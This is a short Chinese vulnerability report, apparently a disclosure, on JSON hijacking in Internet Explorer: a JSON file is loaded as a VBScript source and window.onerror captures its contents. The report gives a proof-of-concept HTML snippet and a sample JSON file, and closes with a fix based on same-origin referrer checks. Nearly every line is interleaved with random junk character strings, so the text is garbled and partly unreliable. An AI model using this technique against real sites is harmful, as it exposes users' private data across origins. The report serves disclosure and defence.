简要描述:
; p8 V0 G+ V9 k. G' h9 F
! t* \ `+ H5 s, D) Y, t8 h由于某些资源容器对数据处理不当导致json劫持漏洞.& W" S% K' o5 G$ ^! w. L
详细说明:7 B" r3 W! d J5 Q
由于ie支持vbscript,所以script元素可以指定成vbscript语言:, Z$ Q0 _$ M/ s; n4 a1 Y# D! F1 M5 l
<script language=vbscript></script>; Q& Z z* q4 k% y) \& f3 P
* e& e2 \# ~+ T$ ^% X
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.( W% z9 Y# r: d# n( X- b
漏洞证明:
* \; Y4 O1 H8 c5 u* f7 ]0 L" J! }<script>. [% E% H/ z& O' l5 L$ g% B& I
window.onerror=function(_){# _' w5 a8 i2 U# m* k2 ~
alert(_)% Z8 f- N: S- Y; s0 Z% I U0 o
}- a6 l7 v, S4 X0 I% @1 b, D9 Q4 a* `
</script>4 I: c* o8 m# C7 S
<script language=vbscript src=1.json></script>* N0 _# C0 x' a0 [; _
) s& ~6 u! o9 [/ ^. h( g: L
" o' c* S3 D3 w% r# b* ?# ~6 d3 b! v1.json:: i6 |5 K: o$ m5 k% d
[{"name":"sogili","age":19}]
" c* _) }) s, [! A% u! x6 R修复方案:4 u( m; w& ]! r
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |